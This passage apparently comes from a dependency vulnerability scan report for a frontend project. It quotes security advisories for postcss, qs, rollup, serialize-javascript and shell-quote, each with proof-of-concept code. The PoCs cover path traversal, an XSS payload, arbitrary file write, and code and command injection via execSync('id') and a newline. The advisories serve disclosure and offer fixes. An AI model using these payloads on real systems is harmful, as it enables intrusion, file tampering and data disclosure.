loadMap(file, prev) {
  ...
  } else if (this.annotation) {
    let map = this.annotation
    if (file) map = join(dirname(file), map)
    let unknown = this.loadFile(map, file, false)
    ...
  }
}
```

### Recommended Fix
Constrain the resolved path to remain inside the CSS file's own directory instead of relying solely on a filename-extension check:
```js
loadFile(path, cssFile, trusted) {
  if (!trusted && !this.unsafeMap) {
    if (!/\.map$/i.test(path)) {
      return undefined
    }
    if (!cssFile) return undefined
    let root = resolve(dirname(cssFile))
    let resolvedPath = resolve(root, path)
    if (resolvedPath !== root && !resolvedPath.startsWith(root + sep)) {
      return undefined
    }
  }
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()
  }
}
```
I've implemented, tested (full existing test suite — 660/660 passing, plus new PoC-based regression checks for both the traversal and legitimate same-directory cases), and can share this fix on request or via a private fork if invited.

### Verification
Dynamically confirmed on v8.5.16 (current npm release / repo HEAD) via a standalone Node.js harness against `lib/postcss.js`: a "secret" `.map` file placed two directories outside a simulated project directory was read via a crafted `sourceMappingURL` comment in otherwise-innocuous CSS, with its `sourcesContent` appearing verbatim in `result.map.toString()` — with no `map` option set by the caller. A second harness confirmed the simpler no-`from` case reads an absolute path directly. A third harness confirmed `map: false` is the only current workaround. The attached fix branch closes both vectors while keeping all 660 existing unit tests green.
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:postcss:\<\=8.5.17:*:*:*:*:*:*:*

GHSA-qx2v-qp2m-jg93 (NPM)  

# PostCSS: XSS via Unescaped `</style>` in CSS Stringify Output

## Summary

PostCSS v8.5.5 (latest) does not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS.

## Proof of Concept

```javascript
const postcss = require('postcss');

// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;

console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes
```

**Tested output** (Node.js v22, postcss v8.5.5):
```
Input: body { content: "</style><script>alert(1)</script><style>"; }
Output: body { content: "</style><script>alert(1)</script><style>"; }
Contains </style>: true
```

## Impact

Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.

## Suggested Fix

Escape `</style` in all stringified output values:
```javascript
output = output.replace(/<\/(style)/gi, '<\\/$1');
```

## Credits
Discovered and reported by [Sunil Kumar](https://tharvid.in) ([@TharVid](https://github.com/TharVid))
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv3:
  • Base Score: MEDIUM (6.099999904632568)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:postcss:\<8.5.10:*:*:*:*:*:*:*

GHSA-fxqj-rqcc-2cmp (NPM)  

## Summary

The fix for GHSA-6g55-p6wh-862q added a guard in `lib/previous-map.js` `PreviousMap.loadFile()` that restricts an attacker-controlled `sourceMappingURL` (from a CSS comment) to a `.map` extension and, for untrusted maps, rejects `..` traversal and absolute paths. The traversal/absolute rejection is nested inside `if (cssFile) { ... }`. When PostCSS is invoked without the `from` option, `cssFile` is falsy and that branch is skipped, leaving only the `.map` extension check.

`PreviousMap` is constructed by `lib/input.js` whenever `pathAvailable && sourceMapAvailable` (under Node with source-map available), independent of `opts.from`/`opts.map` (the constructor returns early only for `opts.map === false`). So `postcss([]).process(css)` on attacker CSS reaches `loadFile` with `cssFile` undefined, and an attacker `/*# sourceMappingURL=/abs/path/x.map */` (or `../`-traversing path) is read via `readFileSync`. When the file is valid JSON, its `sources` (filesystem paths) and `sourcesContent` (source contents) are disclosed in the generated source map.

## Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)

```js
// lib/previous-map.js
loadFile(path, cssFile, trusted) {
  if (!trusted && !this.unsafeMap) {
    if (!/\.map$/i.test(path)) {
      return undefined
    }
    if (cssFile) {                       // guard runs ONLY when `from` is set
      let relativePath = relative(dirname(cssFile), path)
      if (relativePath === '..' ||
          relativePath.startsWith('..' + sep) ||
          isAbsolute(relativePath)) {
        return undefined
      }
    }
  }
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()   // sink
  }
}

// loadMap(): untrusted annotation path, trusted=false; file === opts.from
} else if (this.annotation) {
  let map = this.annotation
  if (file) map = join(dirname(file), map)   // no `from` -> map stays the raw URL
  let unknown = this.loadFile(map, file, false)  // file undefined -> cssFile falsy
```

## Proof of concept (verified on postcss 8.5.22)

```js
const postcss = require('postcss')
const fs = require('fs')

// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map)
const secret = '/tmp/pcpoc/secret_out_of_tree.map'
fs.writeFileSync(secret, JSON.stringify({
  version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [],
  sourcesContent: ['TOP_SECRET_abcdef']
}))

const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */'
const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef')

;(async () => {
  // A) NO `from`  -> guard skipped -> arbitrary absolute .map read + disclosed
  const a = await postcss([]).process(css, { map: true })
  console.log('no from   -> leaked:', !!leaks(a.map))   // true

  // B) WITH `from` -> guard active -> blocked
  const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true })
  console.log('with from -> leaked:', !!leaks(b.map))    // false
})()
```

Observed output on postcss 8.5.22:

```
no from   -> leaked: true      # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map
with from -> leaked: false     # guard rejects the absolute path
```

`../` traversal (no `from`) also succeeds; non-`.map` targets (`.txt`, `?x=.map`, `#.map`) are blocked by the `.map` check. The tested build contains the GHSA-6g55 fix (`this.json = JSON.parse(...)` in `loadMap`, `consumer()` uses `this.json || this.text`), so this is a residual of that fix.

## Impact

Arbitrary `.map`-file read (absolute path or `../` traversal) and disclosure of the target map's `sources` (local filesystem paths) and `sourcesContent` (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a `from` option and exposes `result.map` (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in `.map` that parse as JSON.

## Suggested fix

Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether `cssFile` is present (resolve against `process.cwd()` when there is no `cssFile`, and reject absolute paths and `..` escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-200 Exposure of Sensitive Information to an Unauthorized Actor

Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:postcss:\<\=8.5.22:*:*:*:*:*:*:*

qs:6.14.1

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?qs

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/qs@6.14.1  (Confidence:Highest)

GHSA-q8mj-m7cp-5q26 (NPM)  

### Summary

`qs.stringify` throws `TypeError` when called with `arrayFormat: 'comma'` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs's null-related options (`skipNulls`, `strictNullHandling`).

### Details

In the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining:

```js
obj = utils.maybeMap(obj, encoder);
```

`utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run.

Same class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d ("encode comma values more consistently", PR #463, 2023-01-19), first released in v6.11.1.

#### PoC

```js
const qs = require('qs');

qs.stringify({ a: [null, 'b'] },      { arrayFormat: 'comma', encodeValuesOnly: true });
qs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });
qs.stringify({ a: [null] },           { arrayFormat: 'comma', encodeValuesOnly: true });
// TypeError: Cannot read properties of null (reading 'length')
//     at encode (lib/utils.js:195:13)
//     at Object.maybeMap (lib/utils.js:322:37)
//     at stringify (lib/stringify.js:145:25)
```

#### Fix

`lib/stringify.js:145`, applied in 21f80b3 on `main`:

```diff
- obj = utils.maybeMap(obj, encoder);
+ obj = utils.maybeMap(obj, function (v) {
+     return v == null ? v : encoder(v);
+ });
```

`null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(',')` step as-is. For `{ a: [null, 'b'] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(',') || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop.

### Affected versions

`>=6.11.1 <=6.15.1`

The vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions.

### Impact

Application code that calls `qs.stringify` with both `arrayFormat: 'comma'` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The "kills the worker process" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.

The vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).
CWE-476 NULL Pointer Dereference

CVSSv3:
  • Base Score: MEDIUM (5.300000190734863)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:qs:\>\=6.11.1\<\=6.15.1:*:*:*:*:*:*:*

GHSA-w7fw-mjwx-w883 (NPM)  

### Summary
The `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284).

### Details
When the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `['a', 'b', 'c']`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation.

**Vulnerable code** (lib/parse.js: lines ~40-50):
```js
if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {
    return val.split(',');
}

if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
    throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
}

return val;
```
The `split(',')` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p).

### PoC
**Test 1 - Basic bypass:**
```
npm install qs
```

```js
const qs = require('qs');

const payload = 'a=' + ','.repeat(25);  // 26 elements after split (bypasses arrayLimit: 5)
const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };

try {
  const result = qs.parse(payload, options);
  console.log(result.a.length);  // Outputs: 26 (bypass successful)
} catch (e) {
  console.log('Limit enforced:', e.message);  // Not thrown
}
```
**Configuration:**
- `comma: true`
- `arrayLimit: 5`
- `throwOnLimitExceeded: true`

Expected: Throws "Array limit exceeded" error.
Actual: Parses successfully, creating an array of length 26.


### Impact
Denial of Service (DoS) via memory exhaustion.

### Suggested Fix
Move the `arrayLimit` check before the comma split in `parseArrayValue`, and enforce it on the resulting array length. Use `currentArrayLength` (already calculated upstream) for consistency with bracket notation fixes.

**Current code** (lib/parse.js: lines ~40-50):
```js
if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {
    return val.split(',');
}

if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
    throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
}

return val;
```

**Fixed code:**
```js
if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {
    const splitArray = val.split(',');
    if (splitArray.length > options.arrayLimit - currentArrayLength) {  // Check against remaining limit
        if (options.throwOnLimitExceeded) {
            throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
        } else {
            // Optionally convert to object or truncate, per README
            return splitArray.slice(0, options.arrayLimit - currentArrayLength);
        }
    }
    return splitArray;
}

if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
    throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
}

return val;
```
This aligns behavior with indexed and bracket notations, reuses `currentArrayLength`, and respects `throwOnLimitExceeded`. Update README to note the consistent enforcement.
CWE-20 Improper Input Validation

CVSSv3:
  • Base Score: LOW (3.700000047683716)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Unscored:
  • Severity: low

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:qs:\>\=6.7.0\<\=6.14.1:*:*:*:*:*:*:*

rollup:4.22.4

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?rollup

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/rollup@4.22.4  (Confidence:Highest)

GHSA-mw96-cpmx-2vgc (NPM)  

### Summary
The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.

### Details
The vulnerability is caused by the combination of two flawed components in the Rollup core:

1.  **Improper Sanitization**: In `src/utils/sanitizeFileName.ts`, the `INVALID_CHAR_REGEX` used to clean user-provided names for chunks and assets excludes the period (`.`) and forward/backward slashes (`/`, `\`). 
    ```typescript
    // src/utils/sanitizeFileName.ts (Line 3)
    const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;
    ```
    This allows path traversal sequences like `../../` to pass through the sanitizer unmodified.

2.  **Unsafe Path Resolution**: In `src/rollup/rollup.ts`, the `writeOutputFile` function uses `path.resolve` to combine the output directory with the "sanitized" filename.
    ```typescript
    // src/rollup/rollup.ts (Line 317)
    const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);
    ```
    Because `path.resolve` follows the `../` sequences in `outputFile.fileName`, the resulting path points outside of the intended output directory. The subsequent call to `fs.writeFile` completes the arbitrary write.

### PoC
A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.

**Scenario: CLI Named Input Exploit**
1.  Target a sensitive file location (for demonstration, we will use a file in the project root called `pwned.js`).
2.  Execute Rollup with a specifically crafted named input where the key contains traversal characters:
    ```bash
    rollup --input "a/../../pwned.js=main.js" --dir dist
    ```
3.  **Result**: Rollup will resolve the output path for the entry chunk as `dist + a/../../pwned.js`, which resolves to the project root. The file `pwned.js` is created/overwritten outside the `dist` folder.

**Reproduction Files provided :**
*   `vuln_app.js`: Isolated logic exactly replicating the sanitization and resolution bug.
*   `exploit.py`: Automated script to run the PoC and verify the file escape.

vuln_app.js
```js
const path = require('path');
const fs = require('fs');

/**
 * REPLICATED ROLLUP VULNERABILITY
 * 
 * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)
 * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)
 */

function sanitize(name) {
    // The vulnerability: Rollup's regex fails to strip dots and slashes, 
    // allowing path traversal sequences like '../'
    return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_');
}

async function build(userSuppliedName) {
    const outputDir = path.join(__dirname, 'dist');
    const fileName = sanitize(userSuppliedName);

    // Vulnerability: path.resolve() follows traversal sequences in the filename
    const outputPath = path.resolve(outputDir, fileName);

    console.log(`[*] Target write path: ${outputPath}`);

    if (!fs.existsSync(path.dirname(outputPath))) {
        fs.mkdirSync(path.dirname(outputPath), { recursive: true });
    }

    fs.writeFileSync(outputPath, 'console.log("System Compromised!");');
    console.log(`[+] File written successfully.`);
}

build(process.argv[2] || 'bundle.js');

```

exploit.py
```py
import subprocess
from pathlib import Path

def run_poc():
    # Target a file outside the 'dist' folder
    poc_dir = Path(__file__).parent
    malicious_filename = "../pwned_by_rollup.js"
    target_path = poc_dir / "pwned_by_rollup.js"

    print(f"=== Rollup Path Traversal PoC ===")
    print(f"[*] Malicious Filename: {malicious_filename}")
    
    # Trigger the vulnerable app
    subprocess.run(["node", "poc/vuln_app.js", malicious_filename])

    if target_path.exists():
        print(f"[SUCCESS] File escaped 'dist' folder!")
        print(f"[SUCCESS] Created: {target_path}")
        # target_path.unlink() # Cleanup
    else:
        print("[FAILED] Exploit did not work.")

if __name__ == "__main__":
    run_poc()
```

## POC 
```rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist```

<img width="1918" height="1111" alt="image" src="https://github.com/user-attachments/assets/3474eb7c-9c4b-4acd-9103-c70596b490d4" />



### Impact
This is a **High** level of severity vulnerability.
*   **Arbitrary File Write**: Attackers can overwrite sensitive files like `~/.ssh/authorized_keys`, `.bashrc`, or system binaries if the build process has sufficient privileges.
*   **Supply Chain Risk**: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
*   **User Impact**: Developers running builds on untrusted repositories are at risk of system compromise.
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:rollup:\>\=4.0.0\<4.59.0:*:*:*:*:*:*:*

scripts-NF74VGQ5.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/scripts-NF74VGQ5.js
MD5: 2abe734603979ee975e8274b59119ca2
SHA1: 7fb1a0e5a114d6185aa3326fccf5aad9b33825b3
SHA256:a9814773b8160ee75537eda6c65bd42701f083ead42d512e87bf0a2855031330

Identifiers

  • None

serialize-javascript:6.0.2

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?serialize-javascript

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/serialize-javascript@6.0.2  (Confidence:Highest)

GHSA-5c6j-r48x-rmvq (NPM)  

### Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.

If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes.

```javascript
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()
```

```javascript
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution
```

```javascript
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command
```

### Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
CWE-96 Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')

CVSSv3:
  • Base Score: HIGH (8.100000381469727)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:serialize-javascript:\<\=7.0.2:*:*:*:*:*:*:*

GHSA-qj8w-gfj5-8c6v (NPM)  

### Impact

**What kind of vulnerability is it?**

It is a **Denial of Service (DoS)** vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from `Array.prototype` but has a very large `length` property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely.

**Who is impacted?**

Applications that use `serialize-javascript` to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to **Prototype Pollution** or handles untrusted data via **YAML Deserialization**, as these could be used to inject the malicious object.

### Patches

**Has the problem been patched?**

Yes, the issue has been patched by replacing `instanceof Array` checks with `Array.isArray()` and using `Object.keys()` for sparse array detection.

**What versions should users upgrade to?**

Users should upgrade to **`v7.0.5`** or later.

### Workarounds

**Is there a way for users to fix or remediate the vulnerability without upgrading?**

There is no direct code-level workaround within the library itself. However, users can mitigate the risk by:

* Validating and sanitizing all input before passing it to the `serialize()` function.
* Ensuring the environment is protected against Prototype Pollution.
* Upgrading to **`v7.0.5`** as soon as possible.

### Acknowledgements

Serialize JavaScript thanks **Tomer Aberbach** (@TomerAberbach) for discovering and privately disclosing this issue.
CWE-400 Uncontrolled Resource Consumption, CWE-834 Excessive Iteration

CVSSv3:
  • Base Score: MEDIUM (5.900000095367432)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:serialize-javascript:\>\=5.0.0\<7.0.5:*:*:*:*:*:*:*

shell-quote:1.8.3

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?shell-quote

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/shell-quote@1.8.3  (Confidence:Highest)

GHSA-w7jw-789q-3m8p (NPM)  

### Summary

`shell-quote`'s `quote()` function did not validate object-token inputs against the operator model used by `parse()`. The `.op` field was backslash-escaped character by character using `/(.)/g`, which in JavaScript does not match line terminators (`\n`, `\r`, U+2028, U+2029). A line terminator in `.op` therefore passed through unescaped into the output; POSIX shells treat a literal `\n` as a command separator, so any content after it would execute as a second command.

The vulnerable code path is reachable in two ways. Neither requires the parser to misbehave — `parse()` only emits ops from a fixed control set — but both are documented API surface:

1. **Direct construction.** A caller builds `{ op: '...\n...' }` from external input (e.g. a deserialized argument array) and passes it to `quote()`.
2. **`envFn` return.** `parse(cmd, envFn)` is documented to splice the return value of `envFn` into the result array when it is an object. An attacker-influenced data source consulted by `envFn` can introduce an object token whose `.op` reaches `quote()`.

### Impact

Shell command injection in callers that pass object tokens with attacker-influenced `.op` values to `quote()` and then hand the result to a shell. The preconditions are narrower than ordinary string injection — they require the caller to feed object tokens into `quote()` — but object tokens are a public, documented part of the API surface, and `quote()` is intended to be a shell-safety boundary.

### PoC

```js
const { parse, quote } = require('shell-quote');

// Direct construction
quote([{ op: ';\nid' }]);
// → "\;\n\\i\\d"  ← literal newline; second line executes as a command

// Via parse() with an envFn returning attacker-shaped objects
const tokens = parse('echo $X', () => ({ op: ';\nid' }));
require('child_process').execSync(quote(tokens), { shell: true });
// Executes `id` after `echo \;`.
```

Confirmed under `sh`, `bash`, `dash`, and `zsh`.

### Patch

Fixed by replacing the per-character escape with strict shape validation in `quote()`. The object-token branch now:

- **`{ op }`** — `.op` must be a string from the same allowlist the parser emits (`||`, `&&`, `;;`, `|&`, `<(`, `<<<`, `>>`, `>&`, `<&`, `&`, `;`, `(`, `)`, `|`, `<`, `>`). Anything else throws `TypeError`. This is the direct fix for the reported issue and removes the entire class of `.op` injection.
- **`{ op: 'glob', pattern }`** — `.pattern` must be a string with no line terminators. Glob metacharacters (`*`, `?`, `[`, `]`, `{`, `}`, `,`) pass through; all other shell-special characters are backslash-escaped. (Previously the pattern field was discarded entirely and the literal string `\g\l\o\b` was emitted — a latent bug, not security-relevant.)
- **`{ comment }`** — `.comment` must be a string with no line terminators (line terminators would end the shell comment and resume command parsing — same injection shape).
- **Any other object shape** — `TypeError`.

The fix is allowlist-based rather than a targeted regex tweak, so it closes the reported vector and forecloses adjacent ones (U+2028 / U+2029 line separators in `.op`, line terminators in comments, unknown-shape objects coerced through `.replace`).

### Workarounds

Prior to upgrading, callers that build object tokens from untrusted input should validate `.op` against the parser's operator set themselves, and never construct `{ op }` from attacker-controlled strings.

### Credits

Reported by Akshat Sinha
CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection'), CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CVSSv3:
  • Base Score: HIGH (8.100000381469727)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Unscored:
  • Severity: critical

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:shell-quote:\>\=1.1.0\<\=1.8.3:*:*:*:*:*:*:*

GHSA-395f-4hp3-45gv (NPM)  

### Summary
`shell-quote`'s `parse()` finalizes its token list with a `reduce` that uses
`Array.prototype.concat` as the accumulator. Each `prev.concat(arg)` copies the entire growing
array, so `parse()` runs in **O(n²)** in the number of tokens. An unauthenticated attacker who
can submit a string to any code path that calls `parse()` on it can block the single-threaded
Node.js event loop for tens of seconds with a small input — a denial of service. The trigger
needs **no shell metacharacters** (plain space-separated words suffice), so input filters that
only screen for `;`, `|`, `$`, or backticks do not help.

### Root cause
`parse.js` (lines 200–203), in `parseInternal` — this path runs on **every** `parse()` call:

```js
}).reduce(function (prev, arg) { // finalize parsed arguments
    // TODO: replace this whole reduce with a concat
    return typeof arg === 'undefined' ? prev : prev.concat(arg);
}, []);
```

`prev.concat(arg)` allocates a new array and copies all of `prev` on every iteration, so
producing an N-token result costs `1 + 2 + … + N = O(N²)` copies. A second `acc.concat(s)`
reduce in the `module.exports` wrapper (lines 211–224, reached only when `env` is a function)
has the same shape. The maintainer's own `// TODO: replace this whole reduce with a concat`
already flags the construct.

### Proof of Concept
```js
const { parse } = require('shell-quote');
const ms = fn => { const t = process.hrtime.bigint(); fn(); return Number(process.hrtime.bigint()-t)/1e6; };
for (const N of [16000, 32000, 64000, 128000]) {
  console.log(N, 'tokens ->', ms(() => parse('x '.repeat(N))).toFixed(0), 'ms');
}
```

Measured on `shell-quote@1.8.4`, Node v24:

| input (N tokens) | bytes  | `parse()` | ratio vs prev (2× input) |
|-----------------:|-------:|----------:|:------------------------:|
| 16 000           | 32 KB  |    678 ms | —                        |
| 32 000           | 64 KB  |  4 169 ms | ×6.2                     |
| 64 000           | 128 KB | 14 914 ms | ×3.6                     |
| 128 000          | 256 KB | **57 319 ms** | ×3.8                 |

Time grows ~×4 per 2× input → confirmed O(n²). A ~128 KB input blocks the event loop ~15 s;
~256 KB → ~57 s; a few hundred KB more → minutes.
<img width="656" height="214" alt="image" src="https://github.com/user-attachments/assets/e8955b0e-0527-45ca-94b7-c3a2d8c0c82e" />
[poc.js](https://github.com/user-attachments/files/29255995/poc.js)

### Impact
`parse()` is synchronous on the main thread; while it copies arrays quadratically the entire
event loop is blocked and the process serves no other requests. Any service that calls `parse()`
on attacker-influenced input (command parsers, chat-ops / bot command handlers, REPLs,
build-script / arg-string splitters) can be driven to a sustained DoS with a single small
request. No code execution and no data disclosure — availability only.

End-to-end confirmation: a minimal HTTP server that calls `parse()` on the request body, hit
